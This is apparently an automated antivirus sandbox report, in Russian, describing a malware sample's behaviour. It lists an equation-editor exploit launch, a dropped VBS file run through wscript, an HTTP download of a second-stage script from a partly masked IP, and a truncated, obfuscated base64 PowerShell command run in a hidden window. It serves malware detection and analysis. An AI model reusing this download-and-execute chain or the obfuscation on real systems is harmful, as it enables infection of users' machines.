Техническая информация
Вредоносные функции
Создает и запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\tmadamwebueddayequitosssssdatinglovers.vbs"
Загружает файлы и запускает на исполнение.
Изменения в файловой системе
Создает следующие файлы
- %APPDATA%\tmadamwebueddayequitosssssdatinglovers.vbs
- %TEMP%\error010760_01.xml
Сетевая активность
Подключается к
- '19#.#.216.142':80
- 'ia#####4.us.archive.org':443
TCP
Запросы HTTP GET
- http://19#.#.216.142/madamwebfileMPDW-constraints.vbs
Другие
- 'ia#####4.us.archive.org':443
UDP
- DNS ASK ia#####4.us.archive.org
Другое
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command $Codigo = 'J☑ ㎋ ⋅ ◄ ꒒Bp☑ ㎋ ⋅ ◄ ꒒G0☑ ㎋ ⋅ ◄ ꒒YQBn☑ ㎋ ⋅ ◄ ꒒GU☑ ㎋ ⋅ ◄ ꒒VQBy☑ ㎋ ⋅ ◄ ꒒Gw☑ ㎋ ⋅ ◄ ꒒I☑ ㎋ ⋅ ◄ ꒒☑ ㎋ ⋅ ◄ ꒒9☑ ㎋ ⋅ ◄ ꒒C☑ ㎋ ⋅ ◄ ꒒☑ ㎋ ⋅ ◄ ꒒JwBo☑ ㎋ ⋅ ◄ ꒒HQ☑ ㎋ ⋅ ◄ ꒒d☑ ㎋ ⋅ ◄ ꒒Bw☑ ㎋ ⋅ ◄ ꒒... (со скрытым окном)
